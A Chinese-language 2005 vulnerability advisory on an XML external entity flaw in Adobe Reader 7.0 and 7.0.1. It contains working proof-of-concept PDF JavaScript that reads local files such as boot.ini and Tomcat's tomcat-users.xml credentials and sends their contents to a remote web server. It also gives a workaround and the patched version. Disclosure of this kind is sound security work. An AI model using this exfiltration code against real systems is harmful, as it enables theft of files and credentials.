| 关键词: nbsp Tomcat users XML Reader Adobe JavaScript 文件 以下 Apache |
发布日期:2005-06-17更新日期:2005-06-17受影响系统: Adobe Acrobat Reader 7.0.1Adobe Acrobat Reader 7.0不受影响系统: Adobe Acrobat Reader 7.0.2描述: BUGTRAQ ID: 13962CVE(CAN) ID: CAN-2005-1306Adobe Reader(之前被称为Acrobat Reader)是非常流行的PDF文本阅读器。Adobe Reader在处理XML外部实体(XXE)时存在漏洞,攻击者可能利用此漏洞非授权读取某些文件。攻击者可以在PDF文件中引入JavaScript,然后让这个JavaScript解析引用了外部实体的嵌入XML文档,导致读取本地电脑中某些类型的文本文件。<*来源:Jeremiah Grossman Sverre H. Huseby ([email protected]) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111893928911355&w=2 http://shh.thathost.com/secadv/adobexxe/*>测试方法: 警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!以下XML文档可以使XML解析器读取c:\boot.ini并将其扩展为foo标签的内容: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "c:/boot.ini"> ]> <foo>&xxe;</foo>以下针对Adobe Reader的JavaScript包含有上面的XML,可以要求Adobe Reader XML解析器解析它,并使用系统的WEB浏览器将扩展的外部实体(也就是c:\boot.ini的内容)传送给远程web server: var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> " + "<!ENTITY xxe SYSTEM \"c:/boot.ini\"> ]><foo>&xxe;</foo>"; var xdoc = XMLData.parse(xml, false); app.launchURL("http://shh.thathost.com/secdemo/show.php?" + "head=Your+boot.ini&text=" + escape(xdoc.foo.value)); Apache Tomcat将用户名和口令以明文存储在tomcat-users.xml文件中。以下PDF包含的JavaScript会在几个可能的位置查找该文件,如果找到了该文件就从其中的XML获得所有敏感的属性并发送给上文的web站点: function load(uri) { try { var xml="<?xml version=\"1.0\"?><!DOCTYPE foo [ <!ELEMENT foo ANY> " + "<!ENTITY xxe SYSTEM " + "\"" + uri + "\"> ]><foo>&xxe;</foo>"; return XMLData.parse(xml, false); } catch (e) { console.println(e); return null; } } function attempt(uri) { var xdoc = load(uri); if (xdoc == null) return false; try { var users = XMLData.applyXPath(xdoc, "//foo/tomcat-users/user/attribute::*"); var s = "match: " + uri + "\n" for (var q = 0; q < users.length; q++) s += users.item(q).name + "=" + users.item(q).value + " "; app.launchURL("http://shh.thathost.com/secdemo/show.php?" + "head=tomcat-users&text=" + escape(s)); return true; } catch (e) { console.println(e); } return false; } uris = [ "file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.5/conf/tomcat-users.xml", "file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.4/conf/tomcat-users.xml", "file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.5/conf/tomcat-users.xml", "file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.4/conf/tomcat-users.xml" ]; for (var q = 0; q < uris.length; q++) if (attempt(uris[q])) break;建议: 临时解决方法:如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:* 在Adobe Reader中禁用JavaScript。厂商补丁:Adobe-----目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载7.0.2版本:http://www.adobe.com/support/downloads/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|